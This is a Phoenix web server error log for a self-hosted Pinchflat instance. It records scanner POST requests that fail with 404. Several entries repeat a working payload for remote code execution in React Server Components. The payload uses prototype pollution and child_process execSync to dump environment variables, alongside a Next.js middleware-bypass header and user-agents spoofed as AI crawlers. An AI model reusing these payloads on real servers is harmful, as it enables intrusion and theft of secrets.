PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "content-length" => "455", "content-type" => "multipart/form-data; boundary=----r2s1f7691ajoq2mg", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "next-action" => "r2s", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 455, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}", "1" => "\"$@0\"" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "POST", owner: #PID<0.29949.0>, params: %{ "0" => "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}", "1" => "\"$@0\"" }, path_info: ["dashboard"], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "text/x-component"}, {"accept-encoding", "gzip"}, {"content-length", "455"}, {"content-type", "multipart/form-data; boundary=----r2s1f7691ajoq2mg"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"next-action", "r2s"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/dashboard", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61qOtM7gFSwcABw2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29948.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35142}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "content-length" => "455", "content-type" => "multipart/form-data; boundary=----r2s1f7691ajoq2mg", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "next-action" => "r2s", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 455, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /dashboard (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29948.0>, port: 80, sc (truncated) 16:49:11.687 [info] POST /admin 16:49:11.687 [debug] Could not render errors due to no supported media type in accept header. Expected one of ["html", "json"] but got the following formats: * "text/x-component" with extensions: [] To accept custom formats, register them under the :mime library in your config/config.exs file: config :mime, :types, %{ "application/xml" => ["xml"] } And then run `mix deps.clean --build mime` to force it to be recompiled. . Errors will be rendered using the first accepted format "html" as fallback. Please customize the :formats option under the :render_errors configuration in your endpoint if you want to support other formats or choose another fallback 16:49:11.688 [debug] QUERY OK source="settings" db=0.1ms idle=353.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.688 [debug] QUERY OK source="settings" db=0.0ms idle=290.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.688 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.688 [error] #PID<0.29951.0> running PinchflatWeb.Endpoint (connection #PID<0.29950.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: POST /admin ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29950.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35152}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "content-length" => "455", "content-type" => "multipart/form-data; boundary=----r2s1f7691ajoq2mg", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "next-action" => "r2s", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 455, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}", "1" => "\"$@0\"" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "POST", owner: #PID<0.29951.0>, params: %{ "0" => "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}", "1" => "\"$@0\"" }, path_info: ["admin"], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "text/x-component"}, {"accept-encoding", "gzip"}, {"content-length", "455"}, {"content-type", "multipart/form-data; boundary=----r2s1f7691ajoq2mg"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"next-action", "r2s"}, {"user-agent", "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/admin", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61qshgZqs7vMAAINj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29950.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35152}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "content-length" => "455", "content-type" => "multipart/form-data; boundary=----r2s1f7691ajoq2mg", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "next-action" => "r2s", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 455, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29950.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35152}, (truncated) 16:49:11.812 [info] POST /api/auth 16:49:11.812 [debug] Could not render errors due to no supported media type in accept header. Expected one of ["html", "json"] but got the following formats: * "text/x-component" with extensions: [] To accept custom formats, register them under the :mime library in your config/config.exs file: config :mime, :types, %{ "application/xml" => ["xml"] } And then run `mix deps.clean --build mime` to force it to be recompiled. . Errors will be rendered using the first accepted format "html" as fallback. Please customize the :formats option under the :render_errors configuration in your endpoint if you want to support other formats or choose another fallback 16:49:11.813 [debug] QUERY OK source="settings" db=0.1ms idle=415.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.813 [debug] QUERY OK source="settings" db=0.0ms idle=250.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.813 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.813 [error] #PID<0.29953.0> running PinchflatWeb.Endpoint (connection #PID<0.29952.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: POST /api/auth ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /api/auth (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29952.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/auth", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35154}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "content-length" => "455", "content-type" => "multipart/form-data; boundary=----r2s1f7691ajoq2mg", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "next-action" => "r2s", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 455, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}", "1" => "\"$@0\"" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "POST", owner: #PID<0.29953.0>, params: %{ "0" => "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}", "1" => "\"$@0\"" }, path_info: ["api", "auth"], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "text/x-component"}, {"accept-encoding", "gzip"}, {"content-length", "455"}, {"content-type", "multipart/form-data; boundary=----r2s1f7691ajoq2mg"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"next-action", "r2s"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/auth", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61rKWMuS1S4QABw2h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29952.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/auth", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35154}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "content-length" => "455", "content-type" => "multipart/form-data; boundary=----r2s1f7691ajoq2mg", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "next-action" => "r2s", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 455, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /api/auth (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29952.0>, port: 80, (truncated) 16:49:12.012 [info] DELETE /api/inngest 16:49:12.012 [debug] QUERY OK source="settings" db=0.1ms idle=324.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:12.012 [debug] QUERY OK source="settings" db=0.0ms idle=324.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:12.012 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:12.013 [error] #PID<0.29955.0> running PinchflatWeb.Endpoint (connection #PID<0.29954.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: DELETE /api/inngest ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for DELETE /api/inngest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29954.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/inngest", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35158}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "DELETE", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "DELETE", owner: #PID<0.29955.0>, params: %{}, path_info: ["api", "inngest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/inngest", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61r56Cm8TmxIAAIOD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, 